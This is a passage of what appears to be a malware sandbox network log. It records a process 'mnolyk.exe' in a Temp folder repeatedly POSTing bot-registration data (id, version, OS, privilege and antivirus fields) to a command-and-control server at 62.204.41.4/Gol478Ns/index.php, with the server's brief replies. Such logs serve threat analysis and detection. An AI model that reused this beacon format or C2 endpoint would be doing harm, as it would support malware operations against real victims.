Feb 6, 2023 18:36:02.539536953 CET	452	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.7	49926	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:52.489078999 CET	646	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:52.560206890 CET	646	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.7	49927	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:52.819700956 CET	647	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:52.885586023 CET	647	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.7	49928	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:53.692434072 CET	648	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:53.756938934 CET	648	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.7	49929	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:54.008802891 CET	649	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:54.074717999 CET	649	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
204	192.168.2.7	49930	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:55.312009096 CET	650	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:55.375792027 CET	651	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
205	192.168.2.7	49932	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:55.578352928 CET	658	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:55.641483068 CET	658	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
206	192.168.2.7	49933	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:55.825768948 CET	659	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:55.889779091 CET	659	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
207	192.168.2.7	49934	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:56.059242010 CET	660	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:56.125365019 CET	660	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
208	192.168.2.7	49935	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:56.304075003 CET	661	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:56.367465019 CET	661	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
209	192.168.2.7	49936	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:56.541075945 CET	662	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:56.605768919 CET	662	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.7	49745	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:02.707218885 CET	453	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:02.771678925 CET	453	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
210	192.168.2.7	49937	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:56.780040979 CET	663	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:56.843110085 CET	663	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.7	49938	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:57.008660078 CET	664	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:57.075479031 CET	664	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.7	49939	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:57.241621017 CET	665	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:57.304322958 CET	665	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.7	49940	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:57.476531029 CET	666	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:57.538958073 CET	666	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.7	49941	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:57.711370945 CET	667	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:57.775655031 CET	667	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.7	49942	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:57.946568966 CET	668	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:58.011249065 CET	668	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.7	49943	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:58.182255983 CET	669	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:58.248070955 CET	669	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.7	49944	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:58.418493032 CET	670	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:58.481282949 CET	670	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
218	192.168.2.7	49945	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:58.654499054 CET	671	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:58.719652891 CET	671	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
219	192.168.2.7	49946	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:58.902146101 CET	672	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:58.966620922 CET	672	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.7	49746	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
